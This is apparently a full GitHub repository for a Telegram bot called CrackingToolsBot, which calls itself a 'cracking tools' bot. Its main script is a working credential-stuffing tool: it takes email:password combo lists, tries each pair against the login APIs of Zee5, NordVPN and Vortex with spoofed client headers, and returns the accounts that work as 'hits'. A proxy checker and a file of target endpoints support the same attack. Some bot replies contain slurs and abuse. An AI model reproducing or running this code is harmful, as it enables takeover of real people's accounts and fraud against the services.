├── .gitignore
├── BotConfig.py
├── LICENSE
├── Procfile
├── README.md
├── app.json
├── crackingtoolsbot.py
├── loggers.py
├── requirements.txt
├── sql_s
├── __init__.py
└── broadcast_sql.py
└── url_s.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | pip-wheel-metadata/
24 | share/python-wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .nox/
44 | .coverage
45 | .coverage.*
46 | .cache
47 | nosetests.xml
48 | coverage.xml
49 | *.cover
50 | *.py,cover
51 | .hypothesis/
52 | .pytest_cache/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | target/
76 |
77 | # Jupyter Notebook
78 | .ipynb_checkpoints
79 |
80 | # IPython
81 | profile_default/
82 | ipython_config.py
83 |
84 | # pyenv
85 | .python-version
86 |
87 | # pipenv
88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
91 | # install all needed dependencies.
92 | #Pipfile.lock
93 |
94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
95 | __pypackages__/
96 |
97 | # Celery stuff
98 | celerybeat-schedule
99 | celerybeat.pid
100 |
101 | # SageMath parsed files
102 | *.sage.py
103 |
104 | # Environments
105 | .env
106 | .venv
107 | env/
108 | venv/
109 | ENV/
110 | env.bak/
111 | venv.bak/
112 |
113 | # Spyder project settings
114 | .spyderproject
115 | .spyproject
116 |
117 | # Rope project settings
118 | .ropeproject
119 |
120 | # mkdocs documentation
121 | /site
122 |
123 | # mypy
124 | .mypy_cache/
125 | .dmypy.json
126 | dmypy.json
127 |
128 | # Pyre type checker
129 | .pyre/
130 |
--------------------------------------------------------------------------------
/BotConfig.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | class Config(object):
5 | DL_LOCATION = os.environ.get("DL_LOCATION", "./starkgang/")
6 | BOT_TOKEN = os.environ.get("BOT_TOKEN", None)
7 | DEVS_EXPO = os.environ.get("DONTKANGTHISPLS", None)
8 | DB_URI = os.environ.get("DATABASE_URL", None)
9 | API_HASH = os.environ.get("API_HASH", None)
10 | API_ID = int(os.environ.get("APP_ID", 6))
11 | LOG_CHAT = int(os.environ.get("LOG_CHAT", -111111))
12 | OWNER_ID = int(os.environ.get("OWNER_ID", None))
13 | JTU_ENABLE = os.environ.get("JTU_ENABLE", False)
14 | JTU_ID = int(os.environ.get("JTU_ID", False))
15 | JTU_LINK = os.environ.get("JTU_LINK", "t.me/PutLinkHereNIbbaElseHowPeopleWillKnow")
16 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 DevsExpo LLC
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Procfile:
--------------------------------------------------------------------------------
1 | dyno: python -m crackingtoolsbot
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
CrackingToolsBot
2 | A Cracking Tools Bot In Telethon
3 |
4 |
5 |
6 | # Deploy-To-Heroku
7 | [](https://heroku.com/deploy?template=https://github.com/DevsExpo/CrackingToolsBot/blob/main)
8 |
9 | # Licence
10 | Copyright (C) 2021 DevsExpo
11 |
12 | ```
13 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
14 |
15 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
16 |
17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
18 | ````
19 |
--------------------------------------------------------------------------------
/app.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "CrackingUtilsBot",
3 | "description": "Simple Cracking Tools Bot in Telethon.",
4 | "logo": "https://images.discordapp.net/avatars/224415693393625088/8f6a0ca7e883f87241b02ba8e1328f34.png",
5 | "keywords": [
6 | "telegram",
7 | "cracking",
8 | "plugin",
9 | "telegram-bot",
10 | "productivity"
11 | ],
12 | "repository": "https://github.com/DevsExpo/CrackingToolsBot",
13 | "website": "starkgang.ml",
14 | "success_url": "t.me/devsExpo",
15 | "env": {
16 | "ENV": {
17 | "description": "Setting this to ANYTHING will enable heroku.",
18 | "value": "ANYTHING"
19 | },
20 | "BOT_TOKEN": {
21 | "description": "Your Bot Token.",
22 | "value": ""
23 | },
24 | "APP_ID": {
25 | "description": "Get this value from my.telegram.org! Please do not steal",
26 | "value": ""
27 | },
28 | "JTU_ENABLE": {
29 | "description": "Do You Wish To Enable Join To Message System?",
30 | "value": "True"
31 | },
32 | "LOG_CHAT": {
33 | "description": "Chat Where You Want Logs To Be Logged :)",
34 | "value": "-100"
35 | },
36 | "OWNER_ID": {
37 | "description": "Put Your Fking ID",
38 | "value": "123456789"
39 | },
40 | "JTU_ID": {
41 | "description": "First Set JTU_ENABLE To True. Put Channel ID where u want to enable checking, Don't Forget To Add Bot To That Channel.",
42 | "value": "-100",
43 | "required": false
44 | },
45 | "JTU_LINK": {
46 | "description": "First Set JTU_ENABLE To True. Put Channel Link where u want to enable checking, Don't Forget To Add Bot To That Channel.",
47 | "value": "t.me/yourchannelsusernamehereokay",
48 | "required": false
49 | },
50 | "API_HASH": {
51 | "description": "Get this value from my.telegram.org! Please do not steal",
52 | "value": ""
53 | }
54 | },
55 | "buildpacks": [
56 | {
57 | "url": "heroku/python"
58 | }
59 | ],
60 | "addons": [
61 | {
62 | "plan": "heroku-postgresql",
63 | "options": {
64 | "version": "12"
65 | }
66 | }
67 | ]
68 | }
69 |
--------------------------------------------------------------------------------
/crackingtoolsbot.py:
--------------------------------------------------------------------------------
1 | import os
2 | import telethon
3 | import requests
4 | from telethon import TelegramClient, events, functions, Button
5 | from telethon.tl.functions.users import GetFullUserRequest
6 | from loggers import logging
7 | from BotConfig import Config
8 | from sql_s.broadcast_sql import add_usersid_in_db, already_added, get_all_users
9 |
10 | bot = TelegramClient("bot", api_id=Config.API_ID, api_hash=Config.API_HASH)
11 | UltraBot = bot.start(bot_token=Config.BOT_TOKEN)
12 | sedpath = "./starkgangz/"
13 | if not os.path.isdir(sedpath):
14 | os.makedirs(sedpath)
15 |
16 | if not os.path.isdir(Config.DL_LOCATION):
17 | os.makedirs(Config.DL_LOCATION)
18 |
19 | data = {
20 | "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0",
21 | "Content-Length": "55",
22 | "Accept-Encoding": "gzip",
23 | }
24 |
25 | data2 = {"accept-encoding": "gzip", "user-agent": "RemotrAndroid/1.5.0"}
26 |
27 |
28 | face = {
29 | "Accept-Encoding": "gzip, deflate, br",
30 | "Accept-Language": "en-US,en;q=0.9",
31 | "Connection": "keep-alive",
32 | "Content-Length": "136",
33 | "Content-Type": "application/json;charset=UTF-8",
34 | "Host": "userauth.voot.com",
35 | "Origin": "https://www.voot.com",
36 | "Referer": "https://www.voot.com",
37 | "Sec-Fetch-Dest": "empty",
38 | "Sec-Fetch-Mode": "cors",
39 | "Sec-Fetch-Site": "same-site",
40 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66"
41 | }
42 |
43 |
44 | @UltraBot.on(events.NewMessage(pattern="^/proxy$"))
45 | async def Devsexpo(event):
46 | if event.sender_id != Config.OWNER_ID:
47 | rip = await check_him(Config.JTU_ID, Config.JTU_LINK, event.sender_id)
48 | if rip is False:
49 | await event.reply(
50 | "**To Use This Bot, Please Join My Channel. :)**",
51 | buttons=[Button.url("Join Channel", Config.JTU_LINK)],
52 | )
53 | return
54 | ok = await event.reply(
55 | "CHECKING PROXIES... PLEASE WAIT. MAY TAKE TIME DEPENDING ON NUMBER OF PROXIES."
56 | )
57 | pablo = await event.get_reply_message()
58 | if pablo == None:
59 | await event.reply('Reply To File')
60 | return
61 | escobar = await UltraBot.download_media(pablo.media, Config.DL_LOCATION)
62 | cmd = f"python3 -m PyProxyToolkit.Console -i {escobar} -o goood.txt -t 80 -x 20 -s httpbinStrategy"
63 | os.system(cmd)
64 | file = open("goood.txt", "r")
65 | Counter = 0
66 | Content = file.read()
67 | CoList = Content.split("\n")
68 | for i in CoList:
69 | if i:
70 | Counter += 1
71 | file.close()
72 | if Counter <= 0:
73 | await ok.edit(
74 | "Check Failed. Either Your File Has All Bad Proxies Or Your Proxy File Is Invalid."
75 | )
76 | elif Counter >= 1:
77 | file1 = open("goood.txt", "a")
78 | file1.write("\nCHECKED BY UltraBot. GET YOUR OWN UltraBot FROM @DevsExpo. \n")
79 | file1.close()
80 | ok.delete()
81 | await UltraBot.send_file(
82 | event.chat_id,
83 | "goood.txt",
84 | caption=f"**PROXIES CHECKED**\n**GOOD PROXIES: ** {Counter}\n\n**CHECKED BY UltraBot. GET YOUR OWN UltraBot FROM @DevsExpo.**",
85 | )
86 | os.remove(escobar)
87 | os.remove("goood.txt")
88 |
89 |
90 |
91 |
92 | @UltraBot.on(events.NewMessage(pattern="^/zee5 ?(.*)"))
93 | async def Devsexpo(event):
94 | if event.sender_id != Config.OWNER_ID:
95 | rip = await check_him(Config.JTU_ID, Config.JTU_LINK, event.sender_id)
96 | if rip is False:
97 | await event.reply(
98 | "**To Use This Bot, Please Join My Channel. :)**",
99 | buttons=[Button.url("Join Channel", Config.JTU_LINK)],
100 | )
101 | return
102 | input_str = event.pattern_match.group(1)
103 | if input_str == "combo":
104 | ok = await event.reply(
105 | "`Checking Your Combos File. This May Take Time Depending On No of Combos.`"
106 | )
107 | stark_dict = []
108 | hits_dict = []
109 | hits = 0
110 | bads = 0
111 | lol = await event.get_reply_message()
112 | if lol == None:
113 | await ok.edit('Reply To File')
114 | return
115 | starky = await UltraBot.download_media(lol.media, Config.DL_LOCATION)
116 | with open(starky) as f:
117 | stark_dict = f.read().splitlines()
118 | if len(stark_dict) > 30:
119 | await ok.edit("`Woah, Thats A Lot Of Combos. Keep 20 As Limit`")
120 | return
121 | os.remove(starky)
122 | for i in stark_dict:
123 | starkm = i.split(":")
124 | email = starkm[0]
125 | password = starkm[1]
126 | try:
127 | meke = requests.get(
128 | f"https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}"
129 | ).json()
130 | except BaseException:
131 | meke = None
132 | if meke.get("token"):
133 | hits += 1
134 | hits_dict.append(f"{email}:{password}")
135 | else:
136 | bads += 1
137 | if len(hits_dict) == 0:
138 | await ok.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**")
139 | return
140 | with open("hits.txt", "w") as hitfile:
141 | for s in hits_dict:
142 | hitfile.write(s + " | @DevsExpo")
143 | ok.delete()
144 | await UltraBot.send_file(
145 | event.chat_id,
146 | "hits.txt",
147 | caption=f"**!ZEE5 HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`",
148 | )
149 | os.remove("hits.txt")
150 | else:
151 | if input_str:
152 | if ":" in input_str:
153 | stark = input_str.split(":", 1)
154 | else:
155 | await event.reply("**! No Lol, use email:pass Regex !**")
156 | return
157 | else:
158 | await event.reply("**Give Combos To Check**")
159 | return
160 | email = stark[0]
161 | password = stark[1]
162 | meke = requests.get(
163 | f"https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}"
164 | ).json()
165 | beautifuln = f"""
166 | 💖 **Checked Zee5 Account**
167 | **Combo:** {email}:{password}
168 | **Email:** {email}
169 | **Password:-** {password}
170 | **Response:-** This Account Is Invalid. 😔
171 |
172 | 🔱 **Checked By:-** {event.sender_id}
173 |
174 | **✅Better Luck Next Time, Thanks For Using Me.
175 | Bot Made By @DevsExpo**"""
176 |
177 | beautiful = f"""
178 | 💖 **Checked Zee5 Account**
179 | **Combo:** {email}:{password}
180 | **Email:** {email}
181 | **Password:-** {password}
182 | **Response:-** This Account Is valid.😀
183 | **Login Here**: www.zee5.com
184 |
185 | 🔱 **Checked By:-** {event.sender_id}
186 |
187 | **✅Send Screenshot To @DevsExpo. Thanks For Using Me.
188 | Bot Made By @DevsExpo**"""
189 | if meke.get("token"):
190 | await event.reply(beautiful)
191 | else:
192 | await event.reply(beautifuln)
193 |
194 |
195 | @UltraBot.on(events.NewMessage(pattern="^/nord ?(.*)"))
196 | async def Devsexpo(event):
197 | if event.sender_id != Config.OWNER_ID:
198 | rip = await check_him(Config.JTU_ID, Config.JTU_LINK, event.sender_id)
199 | if rip is False:
200 | await event.reply(
201 | "**To Use This Bot, Please Join My Channel. :)**",
202 | buttons=[Button.url("Join Channel", Config.JTU_LINK)],
203 | )
204 | return
205 | input_str = event.pattern_match.group(1)
206 | if input_str == "combo":
207 | ok = await event.reply(
208 | "`Checking Your Combos File. This May Take Time Depending On No of Combos.`"
209 | )
210 | stark_dict = []
211 | hits_dict = []
212 | hits = 0
213 | bads = 0
214 | lol = await event.get_reply_message()
215 | if lol == None:
216 | await event.reply('Reply To File')
217 | return
218 | starky = await UltraBot.download_media(lol.media, Config.DL_LOCATION)
219 | with open(starky) as f:
220 | stark_dict = f.read().splitlines()
221 | if len(stark_dict) > 30:
222 | await ok.edit("`Woah, Thats A Lot Of Combos. Keep 20 As Limit`")
223 | return
224 | os.remove(starky)
225 | for i in stark_dict:
226 | starkm = i.split(":")
227 | email = starkm[0]
228 | password = starkm[1]
229 | sedlyf = {"username": email, "password": password}
230 | try:
231 | meke = requests.post(
232 | url="https://zwyr157wwiu6eior.com/v1/users/tokens",
233 | headers=data,
234 | json=sedlyf,
235 | ).json()
236 | except BaseException:
237 | meke = None
238 | if meke.get("token"):
239 | hits += 1
240 | hits_dict.append(f"{email}:{password}")
241 | else:
242 | bads += 1
243 | if len(hits_dict) == 0:
244 | await ok.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**")
245 | return
246 | with open("hits.txt", "w") as hitfile:
247 | for s in hits_dict:
248 | hitfile.write(s + " | @DevsExpo")
249 | ok.delete()
250 | await UltraBot.send_file(
251 | event.chat_id,
252 | "hits.txt",
253 | caption=f"**!NORD HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`",
254 | )
255 | os.remove("hits.txt")
256 | else:
257 | if input_str:
258 | if ":" in input_str:
259 | stark = input_str.split(":", 1)
260 | else:
261 | await event.reply("**! No Lol, use email:pass Regex !**")
262 | return
263 | else:
264 | await event.reply("**Give Combos To Check**")
265 | return
266 | email = stark[0]
267 | password = stark[1]
268 | sedlyf = {"username": email, "password": password}
269 | meke = requests.post(
270 | url="https://zwyr157wwiu6eior.com/v1/users/tokens",
271 | headers=data,
272 | json=sedlyf,
273 | ).json()
274 | beautifuln = f"""
275 | 💖 **Checked Nord Account**
276 | **Combo:** {email}:{password}
277 | **Email:** {email}
278 | **Password:-** {password}
279 | **Response:-** This Account Is Invalid. 😔
280 |
281 | 🔱 **Checked By:-** {event.sender_id}
282 |
283 | **✅Better Luck Next Time, Thanks For Using Me.
284 | Bot Made By @DevsExpo**"""
285 |
286 | beautiful = f"""
287 | 💖 **Checked Nord Account**
288 | **Combo:** {email}:{password}
289 | **Email:** {email}
290 | **Password:-** {password}
291 | **Response:-** This Account Is valid.😀
292 | **Login Here**: www.nordvpn.com
293 |
294 | 🔱 **Checked By:-** {event.sender_id}
295 |
296 | **✅Send Screenshot To @DevsExpo. Thanks For Using Me.
297 | Bot Made By @DevsExpo**"""
298 | if meke.get("token"):
299 | await event.reply(beautiful)
300 | else:
301 | await event.reply(beautifuln)
302 |
303 |
304 | @UltraBot.on(events.NewMessage(pattern="^/vortex ?(.*)"))
305 | async def Devsexpo(event):
306 | if event.sender_id != Config.OWNER_ID:
307 | rip = await check_him(Config.JTU_ID, Config.JTU_LINK, event.sender_id)
308 | if rip is False:
309 | await event.reply(
310 | "**To Use This Bot, Please Join My Channel. :)**",
311 | buttons=[Button.url("Join Channel", Config.JTU_LINK)],
312 | )
313 | return
314 | input_str = event.pattern_match.group(1)
315 | if input_str == "combo":
316 | ok = await event.reply(
317 | "`Checking Your Combos File. This May Take Time Depending On No of Combos.`"
318 | )
319 | stark_dict = []
320 | hits_dict = []
321 | hits = 0
322 | bads = 0
323 | lol = await event.get_reply_message()
324 | if lol == None:
325 | await event.reply('Reply To File')
326 | return
327 | starky = await UltraBot.download_media(lol.media, Config.DL_LOCATION)
328 | with open(starky) as f:
329 | stark_dict = f.read().splitlines()
330 | if len(stark_dict) > 20:
331 | await ok.edit("`Woah, Thats A Lot Of Combos. Keep 20 As Limit`")
332 | return
333 | os.remove(starky)
334 | for i in stark_dict:
335 | starkm = i.split(":")
336 | email = starkm[0]
337 | password = starkm[1]
338 | sedlyf = {"username": email, "password": password}
339 | try:
340 | meke = requests.post(
341 | url="https://vortex-api.gg/login", headers=data2, json=sedlyf
342 | ).json()
343 | except BaseException:
344 | meke = None
345 | if meke.get("token"):
346 | hits += 1
347 | hits_dict.append(f"{email}:{password}")
348 | else:
349 | bads += 1
350 | if len(hits_dict) == 0:
351 | await ok.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**")
352 | return
353 | with open("hits.txt", "w") as hitfile:
354 | for s in hits_dict:
355 | hitfile.write(s + " | @DevsExpo")
356 | ok.delete()
357 | await UltraBot.send_file(
358 | event.chat_id,
359 | "hits.txt",
360 | caption=f"**!VORTEX HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`",
361 | )
362 | os.remove("hits.txt")
363 | else:
364 | if input_str:
365 | if ":" in input_str:
366 | stark = input_str.split(":", 1)
367 | else:
368 | await event.reply("**! No Lol, use email:pass Regex !**")
369 | return
370 | else:
371 | await event.reply("**Give Combos To Check**")
372 | return
373 | email = stark[0]
374 | password = stark[1]
375 | sedlyf = {"username": email, "password": password}
376 | meke = requests.post(
377 | url="https://vortex-api.gg/login", headers=data2, json=sedlyf
378 | ).json()
379 | beautifuln = f"""
380 | 💖 **Checked Vortex Account**
381 | **Combo:** {email}:{password}
382 | **Email:** {email}
383 | **Password:-** {password}
384 | **Response:-** This Account Is Invalid. 😔
385 |
386 | 🔱 **Checked By:-** {event.sender_id}
387 |
388 | **✅Better Luck Next Time, Thanks For Using Me.
389 | Bot Made By @DevsExpo**"""
390 |
391 | beautiful = f"""
392 | 💖 **Checked Vortex Account**
393 | **Combo:** {email}:{password}
394 | **Email:** {email}
395 | **Password:-** {password}
396 | **Response:-** This Account Is valid.😀
397 | **Login Here**: www.vortex.gg
398 |
399 | 🔱 **Checked By:-** {event.sender_id}
400 |
401 | **✅Send Screenshot To @DevsExpo. Thanks For Using Me.
402 | Bot Made By @DevsExpo**"""
403 | if meke.get("token"):
404 | await event.reply(beautiful)
405 | else:
406 | await event.reply(beautifuln)
407 |
408 |
409 | @UltraBot.on(events.NewMessage(func=lambda e: e.is_private))
410 | async def real_nigga(event):
411 | if already_added(event.sender_id):
412 | pass
413 | elif not already_added(event.sender_id):
414 | add_usersid_in_db(event.sender_id)
415 | await UltraBot.send_message(
416 | Config.LOG_CHAT, f"**New User :** `{event.sender_id}`"
417 | )
418 |
419 |
420 | @UltraBot.on(events.ChatAction())
421 | async def _(event):
422 | if event.chat_id == Config.LOG_CHAT:
423 | return
424 | okbruh = await UltraBot.get_me()
425 | if event.user_joined or event.user_added == str(okbruh):
426 | lol = event.chat_id
427 | if already_added(event.chat_id):
428 | pass
429 | elif not already_added(event.chat_id):
430 | add_usersid_in_db(event.chat_id)
431 | await UltraBot.send_message(Config.LOG_CHAT, f"**New ChatGroup :** `{lol}`")
432 |
433 | @UltraBot.on(events.NewMessage(pattern="^/start ?(.*)"))
434 | async def atomz(event):
435 | replied_user = await UltraBot(GetFullUserRequest(event.sender_id))
436 | firstname = replied_user.user.first_name
437 | await event.reply(f'**Hai, {firstname} !, I Am Simple Cracking Tools Bot. PLease Use /help To See Cmds ! \nBy @DevsExpo**')
438 |
439 | @UltraBot.on(events.NewMessage(pattern="^/leave ?(.*)"))
440 | async def bye(event):
441 | if event.sender_id != Config.OWNER_ID:
442 | await event.reply('`Who is This Gey Commanding Me To Leave :/`')
443 | return
444 | okbruh = await UltraBot.get_me()
445 | await event.reply('Time To leave :(')
446 | await UltraBot.kick_participant(event.chat_id, okbruh.id)
447 |
448 | @UltraBot.on(events.NewMessage(pattern="^/help ?(.*)"))
449 | async def no_help(event):
450 | replied_user = await UltraBot(GetFullUserRequest(event.sender_id))
451 | firstname = replied_user.user.first_name
452 | lol_br = """
453 | - /start - start me
454 | - /help - ??
455 | - /zee5 - Checks One Account
456 | - /zee5 combo - Reply To Combos File And Limit is 20.
457 | - /nord - Checks One Account
458 | - /nord combo - Reply To Combos File And Limit is 20.
459 | - /vortex - Checks One Account
460 | - /vortex combo - Reply To Combos File And Limit is 20.
461 | - /proxy - Reply To Proxy File Only, Check Your Proxies
462 | BY @DevsExpo
463 | """
464 | await event.reply(f'**Hai, {firstname} !, Here is List Of Cmds \n{lol_br}**')
465 |
466 | @UltraBot.on(events.NewMessage(pattern="^/broadcast ?(.*)"))
467 | async def atomz(event):
468 | error_count = 0
469 | msgtobroadcast = event.pattern_match.group(1)
470 | if event.sender_id != Config.OWNER_ID:
471 | await event.reply("**Fuck OFF Bitch !**")
472 | return
473 | hmm = get_all_users()
474 | for starkcast in hmm:
475 | try:
476 | await UltraBot.send_message(int(starkcast.chat_id), msgtobroadcast)
477 | except BaseException:
478 | error_count += 1
479 | sent_count = error_count - len(hmm)
480 | await UltraBot.send_message(
481 | event.chat_id,
482 | f"Broadcast Done in {sent_count} Group/Users and I got {error_count} Error and Total Number Was {len(userstobc)}",
483 | )
484 |
485 |
486 | async def check_him(chnnl_id, chnnl_link, starkuser):
487 | if not Config.JTU_ENABLE:
488 | return True
489 | try:
490 | result = await UltraBot(
491 | functions.channels.GetParticipantRequest(
492 | channel=chnnl_id, user_id=starkuser
493 | )
494 | )
495 | return True
496 | except telethon.errors.rpcerrorlist.UserNotParticipantError:
497 | return False
498 |
499 |
500 | print("Bot Is Alive.")
501 |
502 |
503 | def startbot():
504 | UltraBot.run_until_disconnected()
505 |
506 |
507 | if __name__ == "__main__":
508 | startbot()
509 |
--------------------------------------------------------------------------------
/loggers.py:
--------------------------------------------------------------------------------
1 | import os
2 | from distutils.util import strtobool as sb
3 | from logging import DEBUG, INFO, basicConfig, getLogger
4 | from logging import DEBUG, WARNING, basicConfig, getLogger, INFO
5 | from logging.handlers import RotatingFileHandler
6 | import logging
7 | ENV = os.environ.get("ENV", False)
8 | if ENV:
9 | pass
10 | else:
11 | pass
12 |
13 | ENV = os.environ.get("ENV", False)
14 | if bool(ENV):
15 | CONSOLE_LOGGER_VERBOSE = sb(os.environ.get("CONSOLE_LOGGER_VERBOSE", "False"))
16 |
17 | if CONSOLE_LOGGER_VERBOSE:
18 | basicConfig(
19 | format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
20 | level=DEBUG,
21 | )
22 | else:
23 | basicConfig(
24 | format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=INFO
25 | )
26 | logger = getLogger(__name__)
27 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | PyProxyToolkit
2 | telethon
3 | cryptg
4 | heroku3
5 | sqlalchemy>=1.2
6 | psycopg2
7 | requests
8 | Pillow
9 | telegraph
10 | httplib2
11 | humanize
12 | lxml
13 |
--------------------------------------------------------------------------------
/sql_s/__init__.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | from sqlalchemy import create_engine
4 | from sqlalchemy.ext.declarative import declarative_base
5 | from sqlalchemy.orm import scoped_session, sessionmaker
6 |
7 | from BotConfig import Config
8 |
9 |
10 | def start() -> scoped_session:
11 | engine = create_engine(Config.DB_URI)
12 | BASE.metadata.bind = engine
13 | BASE.metadata.create_all(engine)
14 | return scoped_session(sessionmaker(bind=engine, autoflush=False))
15 |
16 |
17 | try:
18 | BASE = declarative_base()
19 | SESSION = start()
20 | except AttributeError as e:
21 | # this is a dirty way for the work-around required for #23
22 | print(
23 | "DB_URI is not configured. Features depending on the database might have issues."
24 | )
25 | print(str(e))
26 |
--------------------------------------------------------------------------------
/sql_s/broadcast_sql.py:
--------------------------------------------------------------------------------
1 | from sqlalchemy import Column, String
2 |
3 | from sql_s import BASE, SESSION
4 |
5 |
6 | class Moidata(BASE):
7 | __tablename__ = "moidata"
8 | chat_id = Column(String(14), primary_key=True)
9 |
10 | def __init__(self, chat_id):
11 | self.chat_id = chat_id
12 |
13 |
14 | Moidata.__table__.create(checkfirst=True)
15 |
16 |
17 | def add_usersid_in_db(chat_id: int):
18 | id_user = Moidata(str(chat_id))
19 | SESSION.add(id_user)
20 | SESSION.commit()
21 |
22 |
23 | def get_all_users():
24 | stark = SESSION.query(Moidata).all()
25 | SESSION.close()
26 | return stark
27 |
28 |
29 | def already_added(chat_id):
30 | try:
31 | return SESSION.query(Moidata).filter(Moidata.chat_id == str(chat_id)).one()
32 | except:
33 | return None
34 | finally:
35 | SESSION.close()
36 |
--------------------------------------------------------------------------------
/url_s.py:
--------------------------------------------------------------------------------
1 | # import DevsExpo
2 |
3 | zee5 = "https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}"
4 | nord = "https://zwyr157wwiu6eior.com/v1/users/tokens"
5 | vortex = "https://vortex-api.gg/login"
6 | vypr = "https://api.goldenfrog.com/settings"
7 |
--------------------------------------------------------------------------------